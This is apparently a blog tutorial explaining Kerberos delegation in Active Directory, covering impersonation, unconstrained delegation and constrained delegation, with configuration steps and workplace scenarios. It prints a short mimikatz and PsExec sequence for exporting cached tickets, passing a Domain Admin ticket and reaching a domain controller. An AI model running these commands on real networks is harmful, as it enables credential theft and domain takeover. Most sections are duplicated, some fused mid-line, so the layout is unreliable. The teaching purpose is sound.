July 30, 2026
Kerberos Delegation:The Complete Guide to Impersonation, Unconstrained, Constrained, and RBCD
Understanding how services act on behalf of users — theory, configuration, real-world scenarios, and how attackers abuse each type

By Ashraf Mohammed
24 min read
Understanding how services act on behalf of users — theory, configuration, real-world scenarios, and how attackers abuse each type
Your hotel receptionist just used your room key to break into every room in the building. That's Kerberos Unconstrained Delegation gone wrong.
Introduction
In Active Directory environments, Kerberos delegation is the mechanism that allows a service to access other services on behalf of a user. It exists to solve a fundamental problem: when a [web application] needs to fetch your data from a [backend database], it needs to authenticate to that database AS YOU — not as a generic service account.
Microsoft released three implementations of delegation over 12 years, each fixing problems from the previous one — and each introducing new attack surfaces. This guide covers all three from absolute zero: the theory, the exact AD configuration, real-world scenarios, and how attackers exploit each one.
Part 1: Before Delegation — Impersonation vs Delegation
Before understanding delegation, you need to understand what it's NOT. Both impersonation and delegation mean "act as another user," but they work at completely different scopes.
Impersonation: Acting as Someone LOCALLY
Impersonation happens within a single service on a single machine. The service temporarily adopts the user's security context (access token) to perform local operations.
How it works:
① User connects to the service (e.g., IIS web app)
② Service calls ImpersonateLoggedOnUser() → gets the user's access token
③ Service thread now runs with the user's token (temporarily!)
④ Service accesses local resources → Windows checks the USER's permissions
⑤ Service calls RevertToSelf() → switches back to its own token
Key characteristics:
→ Everything happens on ONE machine (no network!)
→ Uses Windows access TOKENS (not Kerberos tickets!)
→ The token CANNOT leave the machine — it's local only!
→ Kerberos is NOT involved!How it works:
① User connects to the service (e.g., IIS web app)
② Service calls ImpersonateLoggedOnUser() → gets the user's access token
③ Service thread now runs with the user's token (temporarily!)
④ Service accesses local resources → Windows checks the USER's permissions
⑤ Service calls RevertToSelf() → switches back to its own token
Key characteristics:
→ Everything happens on ONE machine (no network!)
→ Uses Windows access TOKENS (not Kerberos tickets!)
→ The token CANNOT leave the machine — it's local only!
→ Kerberos is NOT involved!Real-world scenario: University Library System
A university library application runs on a single server. When a student logs in, the application impersonates them to check if they can access restricted thesis documents stored in a local folder.
Student Sarah → logs into the library app
→ App impersonates Sarah → reads C:\ThesisArchive\classified.pdf
→ Windows checks Sarah's token → she's in "Graduate Students" → access! ✅
Undergraduate Tom → logs in next
→ App impersonates Tom → same file
→ Tom is NOT in "Graduate Students" → denied! ❌
Everything happened on ONE machine. No network. No Kerberos.
The app used local tokens to act as each student.Student Sarah → logs into the library app
→ App impersonates Sarah → reads C:\ThesisArchive\classified.pdf
→ Windows checks Sarah's token → she's in "Graduate Students" → access! ✅
Undergraduate Tom → logs in next
→ App impersonates Tom → same file
→ Tom is NOT in "Graduate Students" → denied! ❌
Everything happened on ONE machine. No network. No Kerberos.
The app used local tokens to act as each student.Delegation: Acting as Someone REMOTELY
Delegation happens when a service needs to access ANOTHER service on a different machine, using the user's identity. The user's local token can't cross the network — Kerberos tickets are needed.
How it works:
① User authenticates to the frontend service (e.g., web app)
② Frontend needs to access a backend service (e.g., SQL on another server)
③ Frontend can't use the user's local token → it only works locally!
④ Frontend needs a Kerberos TGS for the backend service AS the user
⑤ Delegation provides the mechanism to get that TGS
⑥ Frontend → backend: presents TGS → backend sees the user → per-user access!
Key characteristics:
→ CROSSES the network to another machine!
→ Uses Kerberos tickets (TGT and TGS)!
→ Requires specific AD configuration!
→ Three types: Unconstrained, Constrained, RBCDHow it works:
① User authenticates to the frontend service (e.g., web app)
② Frontend needs to access a backend service (e.g., SQL on another server)
③ Frontend can't use the user's local token → it only works locally!
④ Frontend needs a Kerberos TGS for the backend service AS the user
⑤ Delegation provides the mechanism to get that TGS
⑥ Frontend → backend: presents TGS → backend sees the user → per-user access!
Key characteristics:
→ CROSSES the network to another machine!
→ Uses Kerberos tickets (TGT and TGS)!
→ Requires specific AD configuration!
→ Three types: Unconstrained, Constrained, RBCDThe Double-Hop Problem (Why Delegation Exists)
Hop 1: User → Frontend (IMPERSONATION — local, works!)
→ User authenticates → service gets their token → reads local files ✅
→ Impersonation handles this perfectly!
Hop 2: Frontend → Backend (DELEGATION — remote, needs Kerberos!)
→ Service wants to access database AS the user → local token doesn't work ❌
→ Need a Kerberos TGS for the backend service as the user
→ Without delegation → service uses a generic account → everyone sees same data!
→ With delegation → service accesses database AS the user → per-user data! ✅
Impersonation = Hop 1 (local) → works
Delegation = Hop 2 (remote) → needs Kerberos delegation mechanism!Hop 1: User → Frontend (IMPERSONATION — local, works!)
→ User authenticates → service gets their token → reads local files ✅
→ Impersonation handles this perfectly!
Hop 2: Frontend → Backend (DELEGATION — remote, needs Kerberos!)
→ Service wants to access database AS the user → local token doesn't work ❌
→ Need a Kerberos TGS for the backend service as the user
→ Without delegation → service uses a generic account → everyone sees same data!
→ With delegation → service accesses database AS the user → per-user data! ✅
Impersonation = Hop 1 (local) → works
Delegation = Hop 2 (remote) → needs Kerberos delegation mechanism!Comparison Table
IMPERSONATION DELEGATION
Where: Same machine (local) Across machines (network)
Mechanism: Windows access tokens Kerberos TGT/TGS
Scope: Inside one process Across multiple servers
Network: Not involved Required (SMB/Kerberos)
AD config needed: No Yes (specific flags/attributes!)
Example: SQL EXECUTE AS LOGIN='sa' IIS → SQL Server as Alice IMPERSONATION DELEGATION
Where: Same machine (local) Across machines (network)
Mechanism: Windows access tokens Kerberos TGT/TGS
Scope: Inside one process Across multiple servers
Network: Not involved Required (SMB/Kerberos)
AD config needed: No Yes (specific flags/attributes!)
Example: SQL EXECUTE AS LOGIN='sa' IIS → SQL Server as AlicePart 2: Unconstrained Delegation (Windows 2000)
Definition
"Unconstrained" = no limits, no restrictions. The service can delegate to ANY other service — no constraints on the target.
Theory: How It Works
When a user authenticates to a service with unconstrained delegation, the user's TGT (Ticket-Granting Ticket — the master key) is embedded inside the service ticket and forwarded to the service. The service extracts the TGT, caches it in LSASS memory, and can use it to request TGS (service tickets) for ANY service as that user.
The Kerberos flow (step by step):
① User → KDC: "I want a ticket for the web app" (TGS-REQ)
→ User sends their TGT to the KDC
→ Requests a TGS for the web app's SPN (e.g., HTTP/portal01)
② KDC processes the request:
→ KDC looks up the web app's computer object in AD
→ Finds: userAccountControl has TRUSTED_FOR_DELEGATION flag!
→ KDC says: "This service has unconstrained delegation"
→ KDC creates a SPECIAL TGS that contains:
a) Normal TGS data (user is authorized to access web app)
b) The user's FORWARDABLE TGT embedded inside! (master key!)
c) A session key for the forwardable TGT
→ Returns this special TGS to the user
③ User → Web App: sends the TGS (with TGT embedded inside!)
→ The user doesn't know their TGT is inside — KDC added it automatically!
→ The user just thinks they're accessing a normal web app
④ Web App receives the TGS:
→ Validates the TGS → user is authorized ✅
→ EXTRACTS the user's forwardable TGT from inside the TGS!
→ CACHES the TGT in LSASS memory on the web app server!
→ The TGT stays in memory until it expires or server reboots!
⑤ Web App → KDC: "I'm the user (here's their TGT), give me a SQL ticket"
→ Web app presents the user's TGT to the KDC
→ Requests a TGS for SQL Server AS the user
→ KDC: "Valid TGT for this user → issue the TGS"
⑥ KDC → Web App: returns TGS for SQL as the user
→ TGS says: "This user can access SQL Server on sql01"
⑦ Web App → SQL: presents the TGS → "I'm the user"
→ SQL validates → sees the user → returns their data only!
⑧ SQL → Web App → User: user's data returned!
→ Per-user access control! Each user sees only THEIR data!
CRITICAL: The web app has the user's TGT in memory!
→ Used for SQL, but can be used for ANY service!
→ File Server, Email, Domain Controller — ANYTHING!
→ No restrictions — "unconstrained"!The Kerberos flow (step by step):
① User → KDC: "I want a ticket for the web app" (TGS-REQ)
→ User sends their TGT to the KDC
→ Requests a TGS for the web app's SPN (e.g., HTTP/portal01)
② KDC processes the request:
→ KDC looks up the web app's computer object in AD
→ Finds: userAccountControl has TRUSTED_FOR_DELEGATION flag!
→ KDC says: "This service has unconstrained delegation"
→ KDC creates a SPECIAL TGS that contains:
a) Normal TGS data (user is authorized to access web app)
b) The user's FORWARDABLE TGT embedded inside! (master key!)
c) A session key for the forwardable TGT
→ Returns this special TGS to the user
③ User → Web App: sends the TGS (with TGT embedded inside!)
→ The user doesn't know their TGT is inside — KDC added it automatically!
→ The user just thinks they're accessing a normal web app
④ Web App receives the TGS:
→ Validates the TGS → user is authorized ✅
→ EXTRACTS the user's forwardable TGT from inside the TGS!
→ CACHES the TGT in LSASS memory on the web app server!
→ The TGT stays in memory until it expires or server reboots!
⑤ Web App → KDC: "I'm the user (here's their TGT), give me a SQL ticket"
→ Web app presents the user's TGT to the KDC
→ Requests a TGS for SQL Server AS the user
→ KDC: "Valid TGT for this user → issue the TGS"
⑥ KDC → Web App: returns TGS for SQL as the user
→ TGS says: "This user can access SQL Server on sql01"
⑦ Web App → SQL: presents the TGS → "I'm the user"
→ SQL validates → sees the user → returns their data only!
⑧ SQL → Web App → User: user's data returned!
→ Per-user access control! Each user sees only THEIR data!
CRITICAL: The web app has the user's TGT in memory!
→ Used for SQL, but can be used for ANY service!
→ File Server, Email, Domain Controller — ANYTHING!
→ No restrictions — "unconstrained"!AD Configuration Required
To enable unconstrained delegation on a service/computer:
Object: The computer or service account running the application
Attribute: userAccountControl
Flag: TRUSTED_FOR_DELEGATION (numeric value: 524288)
Configured by: Domain Admin (only!)
Configured on: the computer/service that RECEIVES the user's TGT
How it's set:
→ Active Directory Users and Computers → computer properties
→ Delegation tab → "Trust this computer for delegation to any service"
→ Or PowerShell: Set-ADComputer APPSRV01 -TrustedForDelegation $true
How to verify (PowerView):
Get-DomainComputer -Unconstrained
→ Lists all computers with TRUSTED_FOR_DELEGATION flag
→ Domain Controllers ALWAYS have this flag (by design!)
→ Non-DC servers with this flag = HIGH VALUE TARGETS!
What this flag tells the KDC:
"When any user requests a ticket for this service,
include their FORWARDABLE TGT inside the service ticket."
→ The KDC does this AUTOMATICALLY for every user who connects!
→ The user doesn't choose to send their TGT — the KDC forces it!To enable unconstrained delegation on a service/computer:
Object: The computer or service account running the application
Attribute: userAccountControl
Flag: TRUSTED_FOR_DELEGATION (numeric value: 524288)
Configured by: Domain Admin (only!)
Configured on: the computer/service that RECEIVES the user's TGT
How it's set:
→ Active Directory Users and Computers → computer properties
→ Delegation tab → "Trust this computer for delegation to any service"
→ Or PowerShell: Set-ADComputer APPSRV01 -TrustedForDelegation $true
How to verify (PowerView):
Get-DomainComputer -Unconstrained
→ Lists all computers with TRUSTED_FOR_DELEGATION flag
→ Domain Controllers ALWAYS have this flag (by design!)
→ Non-DC servers with this flag = HIGH VALUE TARGETS!
What this flag tells the KDC:
"When any user requests a ticket for this service,
include their FORWARDABLE TGT inside the service ticket."
→ The KDC does this AUTOMATICALLY for every user who connects!
→ The user doesn't choose to send their TGT — the KDC forces it!Real-World Scenario: Corporate Intranet Portal
A large financial institution runs an internal portal where employees access various dashboards. The portal server runs IIS with Windows Authentication and needs to access multiple backend systems (SQL databases, file shares, reporting services) as the logged-in user.
The IT team enables unconstrained delegation on the portal server because the portal needs to reach MANY different backend services — constraining to specific SPNs would be impractical.
Configuration:
→ Portal server: PORTAL01.finance.local
→ userAccountControl: TRUSTED_FOR_DELEGATION ← enabled!
→ Any user who visits the portal → their TGT is cached on PORTAL01
Monday morning:
9:00 AM — Teller Maria logs in → views branch dashboard
→ Maria's TGT cached on PORTAL01
9:15 AM — Analyst James logs in → views risk reports
→ James's TGT cached on PORTAL01
9:30 AM — Branch Manager Nora → views performance metrics
→ Nora's TGT cached on PORTAL01
10:00 AM — IT Director Ahmad (Domain Admin) → checks system health
→ Ahmad's TGT cached on PORTAL01! ← DANGER!
Every user who visits → their TGT is stored in PORTAL01's LSASS memory!
The server holds the master keys for Maria, James, Nora, and Ahmad!Configuration:
→ Portal server: PORTAL01.finance.local
→ userAccountControl: TRUSTED_FOR_DELEGATION ← enabled!
→ Any user who visits the portal → their TGT is cached on PORTAL01
Monday morning:
9:00 AM — Teller Maria logs in → views branch dashboard
→ Maria's TGT cached on PORTAL01
9:15 AM — Analyst James logs in → views risk reports
→ James's TGT cached on PORTAL01
9:30 AM — Branch Manager Nora → views performance metrics
→ Nora's TGT cached on PORTAL01
10:00 AM — IT Director Ahmad (Domain Admin) → checks system health
→ Ahmad's TGT cached on PORTAL01! ← DANGER!
Every user who visits → their TGT is stored in PORTAL01's LSASS memory!
The server holds the master keys for Maria, James, Nora, and Ahmad!The Attack
An attacker compromises PORTAL01 through a web application vulnerability, then extracts all cached TGTs.
Step 1: Extract TGTs from memory
mimikatz # sekurlsa::tickets /export
→ Exports every cached TGT to .kirbi files
→ Including Ahmad's TGT (Domain Admin!)
Step 2: Inject the Domain Admin's TGT
mimikatz # kerberos::ptt ahmad_tgt.kirbi
→ Ahmad's TGT injected into attacker's session!
→ Attacker IS Ahmad in the eyes of Kerberos!
Step 3: Access the Domain Controller
PsExec.exe \\DC01 cmd
C:\> whoami → finance\ahmad → Domain Admin! GAME OVER!
One web app visit from a Domain Admin = complete domain compromise!
No password cracking. No exploits. Just cached TGTs!Step 1: Extract TGTs from memory
mimikatz # sekurlsa::tickets /export
→ Exports every cached TGT to .kirbi files
→ Including Ahmad's TGT (Domain Admin!)
Step 2: Inject the Domain Admin's TGT
mimikatz # kerberos::ptt ahmad_tgt.kirbi
→ Ahmad's TGT injected into attacker's session!
→ Attacker IS Ahmad in the eyes of Kerberos!
Step 3: Access the Domain Controller
PsExec.exe \\DC01 cmd
C:\> whoami → finance\ahmad → Domain Admin! GAME OVER!
One web app visit from a Domain Admin = complete domain compromise!
No password cracking. No exploits. Just cached TGTs!Why It's Dangerous
→ The service gets the user's FULL TGT (master key!)
→ Can request TGS for ANY service as the user (no limits!)
→ ALL TGTs are cached in LSASS memory on the server
→ If server is compromised → ALL users' TGTs are stolen!
→ Domain Admin visits? → their TGT → domain compromise!
→ The Printer Bug can FORCE any machine to authenticate → no human needed!→ The service gets the user's FULL TGT (master key!)
→ Can request TGS for ANY service as the user (no limits!)
→ ALL TGTs are cached in LSASS memory on the server
→ If server is compromised → ALL users' TGTs are stolen!
→ Domain Admin visits? → their TGT → domain compromise!
→ The Printer Bug can FORCE any machine to authenticate → no human needed!Part 3: Constrained Delegation (Windows 2003)
Definition
"Constrained" = limited, restricted. The service can only delegate to SPECIFIC services listed in an AD attribute — nothing else.
Theory: How It Works
Microsoft realized unconstrained delegation was too dangerous — giving a service the user's full TGT meant it could access anything. The solution: the service does NOT receive the user's TGT. Instead, the KDC acts as a gatekeeper — the service asks the KDC for specific tickets, and the KDC only allows delegation to services listed in the msDS-AllowedToDelegateTo attribute.
The core mechanism: S4U2Proxy (used in BOTH flows!)
→ "Service for User to Proxy"
→ The service presents a TGS (proof the user accessed it) to the KDC
→ Requests a TGS for the backend service as the user
→ KDC checks: is the target SPN in msDS-AllowedToDelegateTo?
→ If YES → TGS issued ✅ | If NO → denied ❌ (the constraint!)
→ This is the CORE of constrained delegation — understand this first!
The core mechanism: S4U2Proxy (used in BOTH flows!)
→ "Service for User to Proxy"
→ The service presents a TGS (proof the user accessed it) to the KDC
→ Requests a TGS for the backend service as the user
→ KDC checks: is the target SPN in msDS-AllowedToDelegateTo?
→ If YES → TGS issued ✅ | If NO → denied ❌ (the constraint!)
→ This is the CORE of constrained delegation — understand this first!
FLOW A — NORMAL: User authenticates via KERBEROS :
This is how legitimate services use constrained delegation every day.
The user authenticates via Kerberos → the service already has a ticket!
① User → KDC: "Give me a TGS for the portal"
→ User sends their TGT → requests TGS for HTTP/portal01
② KDC → User: returns a FORWARDABLE TGS for the portal
→ FORWARDABLE flag set (constrained delegation is configured!)
③ User → Portal: sends the forwardable TGS
→ Portal validates → user is authenticated ✅
→ Portal HAS a Kerberos TGS from the user!
→ This TGS proves: "this user authenticated to me via Kerberos"
→ No extra steps needed — go directly to S4U2Proxy!
④ Portal → KDC: S4U2Proxy request (DIRECTLY!)
→ "Here's the user's forwardable TGS.
Give me a TGS for MSSQLSvc/SQLMED01 as this user."
→ Presents the user's own TGS as evidence
⑤ KDC checks:
→ Is the user's TGS valid and forwardable? → YES ✅
→ Is MSSQLSvc/SQLMED01 in portal's AllowedToDelegateTo? → YES ✅
→ Creates TGS: "user can access SQL on SQLMED01"
⑥ Portal → SQL: presents TGS → SQL sees the user → per-user access! ✅
⑦ User's data returned!
Simple: User authenticates (Kerberos) → S4U2Proxy → backend access!
No S4U2Self! No TRUSTED_TO_AUTH_FOR_DELEGATION flag required!
The user's own Kerberos TGS is all the evidence needed!
BUT WHAT IF THE USER USES NTLM INSTEAD OF KERBEROS?
Many internal web apps use NTLM authentication:
→ User types an IP address instead of hostname → NTLM triggers
→ The app is configured for NTLM only
→ The user's browser negotiates NTLM instead of Kerberos
With NTLM: the service gets username + challenge-response
But NO Kerberos TGS from the user! ❌
Without a Kerberos TGS → S4U2Proxy has no evidence to present!
Solution: S4U2Self — "create a Kerberos TGS from nothing!"
→ The service tells the KDC: "Create a TGS as if this user accessed me"
→ The KDC trusts the service (TRUSTED_TO_AUTH_FOR_DELEGATION flag!)
→ Creates the TGS WITHOUT needing the user's password!
→ Now S4U2Proxy has evidence to work with!
→ ONLY needed in the NTLM scenario (or by attackers!)
FLOW A — NORMAL: User authenticates via KERBEROS :
This is how legitimate services use constrained delegation every day.
The user authenticates via Kerberos → the service already has a ticket!
① User → KDC: "Give me a TGS for the portal"
→ User sends their TGT → requests TGS for HTTP/portal01
② KDC → User: returns a FORWARDABLE TGS for the portal
→ FORWARDABLE flag set (constrained delegation is configured!)
③ User → Portal: sends the forwardable TGS
→ Portal validates → user is authenticated ✅
→ Portal HAS a Kerberos TGS from the user!
→ This TGS proves: "this user authenticated to me via Kerberos"
→ No extra steps needed — go directly to S4U2Proxy!
④ Portal → KDC: S4U2Proxy request (DIRECTLY!)
→ "Here's the user's forwardable TGS.
Give me a TGS for MSSQLSvc/SQLMED01 as this user."
→ Presents the user's own TGS as evidence
⑤ KDC checks:
→ Is the user's TGS valid and forwardable? → YES ✅
→ Is MSSQLSvc/SQLMED01 in portal's AllowedToDelegateTo? → YES ✅
→ Creates TGS: "user can access SQL on SQLMED01"
⑥ Portal → SQL: presents TGS → SQL sees the user → per-user access! ✅
⑦ User's data returned!
Simple: User authenticates (Kerberos) → S4U2Proxy → backend access!
No S4U2Self! No TRUSTED_TO_AUTH_FOR_DELEGATION flag required!
The user's own Kerberos TGS is all the evidence needed!
BUT WHAT IF THE USER USES NTLM INSTEAD OF KERBEROS?
Many internal web apps use NTLM authentication:
→ User types an IP address instead of hostname → NTLM triggers
→ The app is configured for NTLM only
→ The user's browser negotiates NTLM instead of Kerberos
With NTLM: the service gets username + challenge-response
But NO Kerberos TGS from the user! ❌
Without a Kerberos TGS → S4U2Proxy has no evidence to present!
Solution: S4U2Self — "create a Kerberos TGS from nothing!"
→ The service tells the KDC: "Create a TGS as if this user accessed me"
→ The KDC trusts the service (TRUSTED_TO_AUTH_FOR_DELEGATION flag!)
→ Creates the TGS WITHOUT needing the user's password!
→ Now S4U2Proxy has evidence to work with!
→ ONLY needed in the NTLM scenario (or by attackers!)
FLOW B — User authenticates via NTLM (S4U2Self + S4U2Proxy!):
(Also the ATTACK flow — attacker doesn't have user's Kerberos TGS!)
① User → Service: authenticates via NTLM (not Kerberos!)
→ User sends: username + NTLM challenge-response
→ Service validates → user is logged in
→ But service has NO Kerberos TGS from the user!
→ This is why S4U2Self exists — to create one!
② Service → KDC: S4U2Self request
→ "I'm PatientPortalSvc (here's my TGT to prove it).
Create a TGS as if Dr. Khalid authenticated to me."
→ Service does NOT have Dr. Khalid's password!
→ Service just TELLS the KDC: "Khalid accessed me"
③ KDC processes S4U2Self:
→ Checks: does PatientPortalSvc have TRUSTED_TO_AUTH_FOR_DELEGATION?
→ YES → KDC trusts this service to make this claim!
→ Creates a TGS: "Dr. Khalid accessed PatientPortalSvc"
→ This is a TGS (service ticket) — NOT a TGT!
→ Returns it to the service
④ Service → KDC: S4U2Proxy request
→ "Here's the S4U2Self TGS (proof Khalid accessed me).
Now give me a TGS for MSSQLSvc/SQLMED01 as Dr. Khalid."
→ Presents the S4U2Self TGS as evidence
⑤ KDC processes S4U2Proxy:
→ Validates the S4U2Self TGS → valid ✅
→ Checks: is MSSQLSvc/SQLMED01:1433 in PatientPortalSvc's
msDS-AllowedToDelegateTo attribute?
→ Reads the attribute from PatientPortalSvc's AD object
→ Finds: {MSSQLSvc/SQLMED01:1433} → YES! ✅
→ Creates a TGS: "Dr. Khalid can access SQL on SQLMED01"
→ Returns it to the service
⑥ Service → SQL: presents the TGS → "I'm Dr. Khalid"
→ SQL validates the TGS → sees Dr. Khalid's identity
→ Checks AD group membership → Dr. Khalid is in "Cardiology"
→ Row-Level Security → returns ONLY Cardiology patients!
⑦ SQL → Service → User: Khalid's patients returned!
→ Per-user access! Different doctors see different patients!
→ Database log: "Dr. Khalid accessed Patient #12345 at 3:00 PM" (HIPAA ✅)
KEY: The user's TGT was NEVER forwarded!
→ Service only got specific TGS tickets through S4U
→ KDC acts as gatekeeper — only allows listed SPNs!
→ That's the "constraint"!FLOW B — User authenticates via NTLM (S4U2Self + S4U2Proxy!):
(Also the ATTACK flow — attacker doesn't have user's Kerberos TGS!)
① User → Service: authenticates via NTLM (not Kerberos!)
→ User sends: username + NTLM challenge-response
→ Service validates → user is logged in
→ But service has NO Kerberos TGS from the user!
→ This is why S4U2Self exists — to create one!
② Service → KDC: S4U2Self request
→ "I'm PatientPortalSvc (here's my TGT to prove it).
Create a TGS as if Dr. Khalid authenticated to me."
→ Service does NOT have Dr. Khalid's password!
→ Service just TELLS the KDC: "Khalid accessed me"
③ KDC processes S4U2Self:
→ Checks: does PatientPortalSvc have TRUSTED_TO_AUTH_FOR_DELEGATION?
→ YES → KDC trusts this service to make this claim!
→ Creates a TGS: "Dr. Khalid accessed PatientPortalSvc"
→ This is a TGS (service ticket) — NOT a TGT!
→ Returns it to the service
④ Service → KDC: S4U2Proxy request
→ "Here's the S4U2Self TGS (proof Khalid accessed me).
Now give me a TGS for MSSQLSvc/SQLMED01 as Dr. Khalid."
→ Presents the S4U2Self TGS as evidence
⑤ KDC processes S4U2Proxy:
→ Validates the S4U2Self TGS → valid ✅
→ Checks: is MSSQLSvc/SQLMED01:1433 in PatientPortalSvc's
msDS-AllowedToDelegateTo attribute?
→ Reads the attribute from PatientPortalSvc's AD object
→ Finds: {MSSQLSvc/SQLMED01:1433} → YES! ✅
→ Creates a TGS: "Dr. Khalid can access SQL on SQLMED01"
→ Returns it to the service
⑥ Service → SQL: presents the TGS → "I'm Dr. Khalid"
→ SQL validates the TGS → sees Dr. Khalid's identity
→ Checks AD group membership → Dr. Khalid is in "Cardiology"
→ Row-Level Security → returns ONLY Cardiology patients!
⑦ SQL → Service → User: Khalid's patients returned!
→ Per-user access! Different doctors see different patients!
→ Database log: "Dr. Khalid accessed Patient #12345 at 3:00 PM" (HIPAA ✅)
KEY: The user's TGT was NEVER forwarded!
→ Service only got specific TGS tickets through S4U
→ KDC acts as gatekeeper — only allows listed SPNs!
→ That's the "constraint"!AD Configuration Required
To enable constrained delegation, TWO things must be configured:
── ATTRIBUTE 1: msDS-AllowedToDelegateTo ──
Object: The service account or computer that DELEGATES
Attribute: msDS-AllowedToDelegateTo
Value: List of SPNs the service is allowed to delegate to
Example:
msDS-AllowedToDelegateTo = {
MSSQLSvc/SQLMED01.hospital.local:1433,
MSSQLSvc/SQLMED01.hospital.local:SQLEXPRESS
}
This means:
→ PatientPortalSvc CAN delegate to SQL Server on SQLMED01 ✅
→ PatientPortalSvc CANNOT delegate to file shares, other DBs, DCs ❌
→ The KDC checks this list during S4U2Proxy!
── ATTRIBUTE 1: msDS-AllowedToDelegateTo ──
Object: The service account or computer that DELEGATES
Attribute: msDS-AllowedToDelegateTo
Value: List of SPNs the service is allowed to delegate to
Example:
msDS-AllowedToDelegateTo = {
MSSQLSvc/SQLMED01.hospital.local:1433,
MSSQLSvc/SQLMED01.hospital.local:SQLEXPRESS
}
This means:
→ PatientPortalSvc CAN delegate to SQL Server on SQLMED01 ✅
→ PatientPortalSvc CANNOT delegate to file shares, other DBs, DCs ❌
→ The KDC checks this list during S4U2Proxy!
── ATTRIBUTE 2: TRUSTED_TO_AUTH_FOR_DELEGATION flag ──
Object: Same service account or computer
Attribute: userAccountControl
Flag: TRUSTED_TO_AUTH_FOR_DELEGATION
(numeric value: 16777216)
This flag means:
→ The service can use S4U2Self even when the user used NTLM (not Kerberos)
→ The KDC trusts the service to claim "this user accessed me"
→ Without this flag → S4U2Self fails → the entire attack chain fails!
── WHO CONFIGURES THIS ──
Configured by: Domain Admin only!
(requires SeEnableDelegationPrivilege)
Configured on: the FRONTEND service account
(the one that delegates)
How it's set:
→ AD Users and Computers → service account properties → Delegation tab
→ "Trust this user for delegation to specified services only"
→ Select target SPNs from a list
→ Check "Use any authentication protocol" (enables TRUSTED_TO_AUTH_FOR_DELEGATION)
→ Or PowerShell:
Set-ADUser PatientPortalSvc -Add @{
'msDS-AllowedToDelegateTo' = 'MSSQLSvc/SQLMED01.hospital.local:1433'
}
How to verify (PowerView):
Get-DomainUser -TrustedToAuth → lists users with constrained delegation
Get-DomainComputer -TrustedToAuth → lists computers with constrained delegation
→ Check msDS-AllowedToDelegateTo for target SPNs
→ Check userAccountControl for TRUSTED_TO_AUTH_FOR_DELEGATION flag
Full configuration summary:
msDS-AllowedToDelegateTo = MSSQLSvc/SQLMED01.hospital.local:1433
TRUSTED_TO_AUTH_FOR_DELEGATION = enabled
→ PatientPortalSvc can impersonate ANY user to SQL on SQLMED01!
→ Without needing the user's password!To enable constrained delegation, TWO things must be configured:
── ATTRIBUTE 1: msDS-AllowedToDelegateTo ──
Object: The service account or computer that DELEGATES
Attribute: msDS-AllowedToDelegateTo
Value: List of SPNs the service is allowed to delegate to
Example:
msDS-AllowedToDelegateTo = {
MSSQLSvc/SQLMED01.hospital.local:1433,
MSSQLSvc/SQLMED01.hospital.local:SQLEXPRESS
}
This means:
→ PatientPortalSvc CAN delegate to SQL Server on SQLMED01 ✅
→ PatientPortalSvc CANNOT delegate to file shares, other DBs, DCs ❌
→ The KDC checks this list during S4U2Proxy!
── ATTRIBUTE 1: msDS-AllowedToDelegateTo ──
Object: The service account or computer that DELEGATES
Attribute: msDS-AllowedToDelegateTo
Value: List of SPNs the service is allowed to delegate to
Example:
msDS-AllowedToDelegateTo = {
MSSQLSvc/SQLMED01.hospital.local:1433,
MSSQLSvc/SQLMED01.hospital.local:SQLEXPRESS
}
This means:
→ PatientPortalSvc CAN delegate to SQL Server on SQLMED01 ✅
→ PatientPortalSvc CANNOT delegate to file shares, other DBs, DCs ❌
→ The KDC checks this list during S4U2Proxy!
── ATTRIBUTE 2: TRUSTED_TO_AUTH_FOR_DELEGATION flag ──
Object: Same service account or computer
Attribute: userAccountControl
Flag: TRUSTED_TO_AUTH_FOR_DELEGATION
(numeric value: 16777216)
This flag means:
→ The service can use S4U2Self even when the user used NTLM (not Kerberos)
→ The KDC trusts the service to claim "this user accessed me"
→ Without this flag → S4U2Self fails → the entire attack chain fails!
── WHO CONFIGURES THIS ──
Configured by: Domain Admin only!
(requires SeEnableDelegationPrivilege)
Configured on: the FRONTEND service account
(the one that delegates)
How it's set:
→ AD Users and Computers → service account properties → Delegation tab
→ "Trust this user for delegation to specified services only"
→ Select target SPNs from a list
→ Check "Use any authentication protocol" (enables TRUSTED_TO_AUTH_FOR_DELEGATION)
→ Or PowerShell:
Set-ADUser PatientPortalSvc -Add @{
'msDS-AllowedToDelegateTo' = 'MSSQLSvc/SQLMED01.hospital.local:1433'
}
How to verify (PowerView):
Get-DomainUser -TrustedToAuth → lists users with constrained delegation
Get-DomainComputer -TrustedToAuth → lists computers with constrained delegation
→ Check msDS-AllowedToDelegateTo for target SPNs
→ Check userAccountControl for TRUSTED_TO_AUTH_FOR_DELEGATION flag
Full configuration summary:
msDS-AllowedToDelegateTo = MSSQLSvc/SQLMED01.hospital.local:1433
TRUSTED_TO_AUTH_FOR_DELEGATION = enabled
→ PatientPortalSvc can impersonate ANY user to SQL on SQLMED01!
→ Without needing the user's password!Real-World Scenario: Hospital Patient Records System
A hospital runs a patient records web portal. Doctors access patient records through the portal, which retrieves data from a backend SQL Server. Different doctors should only see patients in their department. The hospital's compliance team (HIPAA) requires that the database logs show exactly WHICH doctor accessed WHICH patient record.
Configuration:
Service account: PatientPortalSvc (runs the web application)
msDS-AllowedTo MSSQLSvc/SQLMED01.hospital.local:1433
DelegateTo: MSSQLSvc/SQLMED01.hospital.local:SQLEXPRESS
TRUSTED_TO_AUTH enabled
_FOR_DELEGATION:
This means:
→ PatientPortalSvc can delegate to SQL on SQLMED01 ONLY
→ Cannot delegate to HR database, pharmacy system, billing, etc.
→ The "constraint" limits which services can be accessed!
Dr. Khalid (Cardiology) logs into the portal:
① Portal authenticates Dr. Khalid (Windows Authentication / NTLM)
② Portal → KDC: S4U2Self → "Dr. Khalid accessed me" → TGS created
③ Portal → KDC: S4U2Proxy → "Give me SQL ticket as Dr. Khalid"
④ KDC: is MSSQLSvc/SQLMED01 in AllowedToDelegateTo? → YES ✅
⑤ Portal → SQL: connects as Dr. Khalid
⑥ SQL: Dr. Khalid is in "Cardiology" AD group → Row-Level Security
⑦ SQL returns ONLY Cardiology patients! ✅
⑧ Database log: "Dr. Khalid accessed Patient #12345 at 3:00 PM" (HIPAA ✅)
Dr. Fatima (Oncology) logs in → same flow → only Oncology patients!
Portal tries to access HR database:
① Portal → KDC: "Give me a TGS for HRDatabase as Dr. Khalid"
② KDC: is HRDatabase in AllowedToDelegateTo? → NO! ❌
③ KDC: "You're not allowed to delegate there!" → DENIED!
→ The CONSTRAINT prevents access to unauthorized services!Configuration:
Service account: PatientPortalSvc (runs the web application)
msDS-AllowedTo MSSQLSvc/SQLMED01.hospital.local:1433
DelegateTo: MSSQLSvc/SQLMED01.hospital.local:SQLEXPRESS
TRUSTED_TO_AUTH enabled
